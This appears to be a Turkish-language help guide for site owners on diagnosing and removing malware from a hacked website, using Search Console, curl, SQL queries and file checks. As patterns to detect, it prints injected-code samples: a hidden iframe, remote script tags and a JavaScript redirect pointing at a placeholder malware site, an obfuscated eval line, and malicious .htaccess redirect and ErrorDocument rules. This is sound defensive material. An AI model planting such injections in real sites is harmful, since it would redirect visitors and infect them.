Kötü amaçlı yazılımlar bilgisayarlara, mobil cihazlara, çalıştırdıkları yazılımlara ya da kullanıcılarına zarar vermek için özel olarak tasarlanmış her türlü yazılım veya mobil uygulamadır. Kötü amaçlı yazılımlar hakkında daha fazla bilgi için Kötü amaçlı ve istenmeyen yazılımlar başlıklı makaleyi inceleyin.
Sitenizde kötü amaçlı yazılım varsa kullanıcılar genellikle arama sonuçlarında veya kullanıcı sitenizi ziyaret etmeye çalışırken tarayıcı tarafından gösterilen bir geçiş sayfasında "Bu site bilgisayarınıza zarar verebilir" uyarısını görür. Bu uyarı şu şekilde görünür:
İhtiyacınız olanlar:
- Sitenizin sunucularına (web, veritabanı ve dosyalar) kabuk veya terminal yöneticisi erişimi.
- Kabuk veya terminal komutları hakkında bilgi sahibi olma
- Veritabanında SQL sorguları çalıştırma olanağı.
Hazırlık
- Search Console'a kaydolun ve saldırıya uğrayan sitenizin sahipliğini burada açıklandığı şekilde doğrulayın. Search Console, etkilenen sayfaların bir örneğini sağlar. Bu sayede, kötü amaçlı yazılımla saldırıya uğramış sorunları bulup düzeltmek çok daha kolay olur. Ayrıca, sitenizin birçok kötü amaçlı yazılım türünden veya diğer saldırılardan etkilendiği tespit edildiğinde uyarı alırsınız.
Bir sitenin kullanıcılara zararlı olup olmadığıyla ilgili herkese açık bilgileri görmek için Google Güvenli Tarama teşhis sayfasını görüntüleyin. Sayfanızın veya sitenizin listeleme durumunu şuna benzer bir URL'de görebilirsiniz:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
Örneğin:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
, belirli bir sayfanın URL'si (http://example.com/badpage
) veya sitenizin tamamı (example.com) olabilir.Sitenizdeki sayfaları görüntülemek için tarayıcı kullanmaktan kaçının. Kötü amaçlı yazılımlar çoğunlukla tarayıcılardaki güvenlik açıklarını kullanarak yayıldığından, kötü amaçlı yazılımın bulaştığı bir sayfayı bir tarayıcıda açmak bilgisayarınıza zarar verebilir. Teşhis talimatlarında sayfaya doğrudan tarayıcınızdan erişmeniz istenmediği sürece HTTP istekleri gerçekleştirmek (örneğin, bir sayfayı getirmek) için cURL veya Wget'i kullanın.
Ücretsiz olarak kullanılabilen bu araçlar, yönlendirmeleri teşhis etmeye yardımcı olur ve yönlendiren veya kullanıcı aracısı bilgilerini ekleme esnekliği sunar. Bilgisayar korsanlarını taklit etmek için belirli bir yönlendirici veya kullanıcı aracısı eklemek faydalıdır. Çünkü bilgisayar korsanları, daha fazla "gerçek kişiyi" hedeflemek ve site sahipleri ile kötü amaçlı yazılım tarayıcılarınca tespit edilmekten kaçınmak için yalnızca belirli kullanıcı aracılarına veya yönlendiricilere sahip kullanıcılara kötü amaçlı içerik sunabilir.
`curl -v --referer "http://www.google.com" <your-url>`
Hem kullanıcı aracısını hem de yönlendireni belirten bir örneği aşağıda bulabilirsiniz:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
Bazı kötü amaçlı yazılımlar yalnızca kullanıcılar Google Arama sonuçlarından geldiğinde etkinleştiğinden, bir sayfayı --referer "https://www.google.com"
ile ve --referer "https://www.google.com"
olmadan getirmenizi öneririz.
Bu adımdaki bulguların kaydedileceği bir doküman oluşturun. Bu doküman, en azından her bir hasarlı dosyanın adını ve konumunu, ayrıca nasıl bulaştığına dair notları içerecek ve Sitenizi temizleme ve koruma için temel oluşturacaktır.
Kötü amaçlı yazılımların nasıl çalıştığını ve kötü amaçlı yazılım incelemeniz sırasında nasıl güvende kalabileceğinizi öğrenmek için bu sayfanın başlarındaki videoyu izleyin.
Teşhis
Sitenizi etkileyen kötü amaçlı yazılımı belirleyin:
- Search Console'da sitenizle ilgili Güvenlik Sorunları raporunu açın. Etkilenen sayfa örneklerini görmek için kötü amaçlı yazılım uyarısının açıklamasını genişletin. Bu listenin kapsamlı olmadığını unutmayın. Sitenizdeki tüm kötü amaçlı yazılım türleri için örnek sayfalar göremeyebilirsiniz.
- Örnek sayfalarınızı aşağıdaki kötü amaçlı yazılım türleri açısından test edin.
Sunucu yapılandırması kötü amaçlı yazılımı (istenmeyen yönlendirmeler)
Bir bilgisayar korsanı sitenizin güvenliğini ihlal etmiş ve muhtemelen sunucunuzun yapılandırma dosyalarını değiştirerek ziyaretçileri iyi sitenizden kötü amaçlı kendi saldırı sitesine yönlendirmiştir. Sunucu yapılandırma dosyaları genellikle site yöneticisinin bir web sitesindeki belirli sayfalar veya dizinler için URL yönlendirmeleri belirtmesine olanak verir. Örneğin, Apache sunucularında bunlar .htaccess
ve httpd.conf
dosyalarıdır.
Teşhis
Güvenlik Sorunları raporunda gösterilen örnek URL’lerin bazılarını ziyaret edin. "Sunucu yapılandırması" enfeksiyonu bulaşmış bir sayfanın yanıtı aşağıdaki üst bilgileri içerebilir:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
Etkilenen dosyaları belirleme
Kabuk veya terminal erişimi üzerinden sunucunuza giriş yapın (isterseniz site çevrimdışı olabilir) ve ilgili sunucu yapılandırma dosyalarını inceleyin. Sitenizde saldırıya uğramış birden fazla sunucu yapılandırma dosyası olabilir. Bu dosyalarda, bilinmeyen sitelere yönlendirme gibi istenmeyen yönergeleri kontrol edin. Örneğin, .htaccess
dosyasında şunun gibi bir yönlendirme görebilirsiniz:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
SQL yerleştirme
Bir bilgisayar korsanı sitenizin veritabanının güvenliğini ihlal etmiştir. Örneğin, bilgisayar korsanı programlı bir şekilde bir veritabanı tablosunun her kaydına kötü amaçlı kod yerleştirmiş olabilir. Böylece, sunucu, veritabanından bilgi gerektiren bir sayfa yüklediğinde kötü amaçlı kod artık sayfanın içeriğine yerleştirilir ve site ziyaretçilerine zarar verebilir.
Teşhis
- Komut satırından, etkilenen URL'lerde bazı sorgular çalıştırın ve "iframe" veya "eval" gibi SQL saldırı kelimeleri için verilen yanıtları inceleyin.
Veritabanı sunucunuzda oturum açın veya veritabanınızı phpMyAdmin gibi bir araçla görüntüleyin. Wget veya cURL kullandıysanız Wget veya cURL aracılığıyla sayfanın kaynak kodunda bulunan hasarı, gerçek veritabanı girişleriyle ilişkilendirmeyi deneyin. Örneğin, sayfalarınızda tehlikeli bir iFrame olduğunu fark ettiyseniz iFrame kodu arayan bir SQL sorgusu yürütebilirsiniz. Örneğin:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
Sunucunuzdaki veritabanı günlüğünde ve hata dosyalarında, normal kullanıcılar için anormal görünen beklenmedik SQL komutları veya hatalar gibi olağandışı etkinlikleri kontrol etmek de isteyebilirsiniz.
Sorunu giderme
Kod bulaşan tüm veritabanı kayıtlarını güncelleyin veya bilinen son veritabanı yedeğinizi geri yükleyin.
Kod yerleştirme
Sitenizdeki sayfalar, bir kötü amaçlı yazılım saldırısı sitesi için yapılan iframe gibi kötü amaçlı kod içerecek şekilde değiştirilmiştir.
Teşhis
cURL veya wGet ile Güvenlik Sorunları raporunda gösterilen örnek URL'lerden bazılarını ziyaret edip şüpheli kod olup olmadığını inceleyin. Enjekte edilen kod birçok türde olabilir ve bulunması zor olabilir. iframe kodunu bulmak için "iframe" gibi kelimeleri aramak da yardımcı olabilir. Diğer yardımcı anahtar kelimeler "script", "eval" ve "unescape"tir. Örneğin, Unix tabanlı sistemlerdeki tüm dosyalarda "iframe" kelimesini aramak için:
$grep -irn "iframe" ./ | less</pre>
Aşağıda, dikkat etmeniz gereken bazı yaygın kötü amaçlı yazılım kalıpları verilmiştir.
Kötü amaçlı bir site yükleyen iframe:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
Bir saldırı sitesinden komut dosyası çağıran veya çalıştıran JavaScript veya başka bir kodlama dili:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
Tarayıcıyı bir saldırı sitesine yönlendiren komut dosyaları:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
Algılanmamak için şaşırtma yapan zararlı kodlar:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
Aksi halde yararlı komut dosyalarına rastgele bir şekilde zararlı kodlar yazmak üzere tasarlanmış paylaşılan nesne dosyaları:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
Kötü amaçlı hata şablonları
404 Dosya Bulunamadı gibi hata mesajları için kullanılan şablon kötü amaçlı yazılım dağıtmak üzere yapılandırılmıştır. Bu şekilde, saldırganlar sitenizde bulunmayan URL'lerden dahi saldırı başlatabilir.
Teşhis
Sitenizde var olmayan veya başka bir hata türü veren bir sayfa isteyin ve yanıtın başka bir siteden gelip gelmediğini veya kötü amaçlı yazılım içerip içermediğini inceleyin.
Sorunu giderme
Web sunucunuzda oturum açın ve sunucu yapılandırma dosyalarınızda hata sayfası yönergelerini arayın. Örneğin, Apache web sunucularına ilişkin hata şablonu .htaccess
dosyasında açıklanabilir. Kötü amaçlı bir siteden 404 hata sayfaları alan bir örnek .htaccess
dosyası girişi aşağıda verilmiştir:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
Sitenizi temizlemeye hazır olduğunuzda .htaccess
dosyalarını bilinen iyi bir yedekle değiştirin veya mevcut .htaccess
dosyalarındaki istenmeyen ErrorDocument yönergelerini silin. Sitenizde varsa gerçek hata dosyalarını da temizlediğinizden emin olun. Son olarak, tüm değişikliklerin etkin hale geldiğinden emin olmak için web sunucunuzu yeniden başlatın.
Güvenliği ihlal edilmiş veya kötü amaçlı bir siteden yüklenen kaynaklar {compromised-resources}
Siteniz, kötü amaçlı içerik barındırdığı bilinen bir web sitesinden içerik veya kaynaklar kullanıyor. Bunlar JavaScript dosyaları, resimler veya başka dosyalar olabilir. Bu nedenle, siteniz bu diğer siteden yüklenen kötü amaçlı yazılımlar nedeniyle işaretlenir.
Teşhis
Güvenlik Sorunları raporunda gösterilen örnek URL’lerin bazılarını ziyaret edin.
Sorunu giderme
- Search Console'daki Güvenlik Sorunları raporunda listelenen örnek URL'lerin birkaçına göz atarak sorunu onaylayın. Bir tarayıcı uyarısı görürsünüz.
- Tarayıcı uyarısı şüpheli içeriğin alan adı konusunda size bilgi verir. Tarayıcı uyarısında listelenen işaretli siteye yönelik tüm referansları kaldırın. İşaretli bir siteden bilginiz dışında içerik eklendiyse sorun daha ciddidir. Sitenizin güvenliği büyük olasılıkla ihlal edilmiş. Sitenizi diğer saldırılar ve güvenlik açıkları açısından incelemeye devam etmeniz gerekir.
- İşaretlenmiş meşru bir siteden kasıtlı olarak içerik eklediyseniz ve işaretlenen site temizlendikten sonra içeriği yeniden eklemek istiyorsanız söz konusu sitenin Google Güvenli Tarama teşhis sayfasını (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external} kullanarak işaretlenen sitenin durumunu izleyebilirsiniz. Yasal sitelerin sahipleri genellikle sitelerini hızlı bir şekilde temizler.
Ek inceleme
Ardından, sisteminizde başka kötü amaçlı dosya veya değişiklik olup olmadığını kontrol edin. Bilgisayar korsanı, mevcut sayfaları veya veritabanı kayıtlarını değiştirmiş, tamamen yeni spam sayfalar oluşturmuş, temiz sayfalarda spam görüntüleyen işlevler yazmış ya da bilgisayar korsanının sitenize yeniden girmesine veya kaldırdığınız zararlı kodu yeniden yerleştirmesine olanak tanıyan "arka kapılar" bırakmış olabilir.
Siteniz çevrimiçiyse bu inceleme için çevrimdışı bırakabilirsiniz.
Sitenizin iyi durumda olduğunu bildiğiniz bir yedeği varsa yedekten sonra hangi dosyaların oluşturulduğunu veya değiştirildiğini belirleyin ve bunları inceleyin. Unix tabanlı sistemlerde yeni dosyaları bulmak için aşağıdaki gibi bir komut kullanabilirsiniz:
diff -qr <current-directory> <backup-directory>
Örneğin:
diff -qr www/ backups/full-backup-20120124/
Ayrıca:
md5sum <current-page> <backup-page>
Örneğin:
md5sum www/page.html backups/full-backup-20120124/page.html
Başarısız giriş denemeleri, komut geçmişi (özellikle root olarak) ve bilinmeyen kullanıcı hesaplarının oluşturulması gibi şüpheli etkinlikler için sunucu, erişim ve hata günlüklerini kontrol edin. Bilgisayar korsanının bu günlükleri kendi amaçları doğrultusunda değiştirmiş olabileceğini unutmayın. Güvenlik açığını tanımlama bölümündeki videoda bazı örnekler gösterilmektedir.
Yapılandırma dosyalarında yönlendirme olup olmadığını kontrol edin. Yapılandırma dosyalarınız genellikle .htaccess
ve httpd.conf
olarak adlandırılır. Bilgisayar korsanları genellikle kullanıcı aracısına, günün saatine veya yönlendirene göre koşullu yönlendirmeler oluşturur. Yapılandırma dosyalarını güncellemeniz gerekiyorsa değişikliklerinizin geçerli olması için sunucunuzu yeniden başlatmanız gerekebilir.
Aşırı derecede esnek klasör ve dosya izinleri olup olmadığını kontrol edin. Bilgisayar korsanları, izinleri değiştirir. Çünkü site sahibi tarafından fark edilmeyen izinler, bilgisayar korsanının siteye yeniden girmesi için bir yol oluşturur. 644 (rw-r--r--)
'ten büyük dosyalar ve 755 (rwxr-xr-x)
'ten büyük klasörler güvenlik sorunlarına neden olabilir. Esnek izinler varsa, bunların gerçekten gerekli olup olmadığını belirleyin. Unix tabanlı sistemlerde şunları deneyin:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
ve:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
Veritabanı kullanıyorsanız phpMyAdmin gibi bir araç kullanarak kayıtları tek tek inceleyin.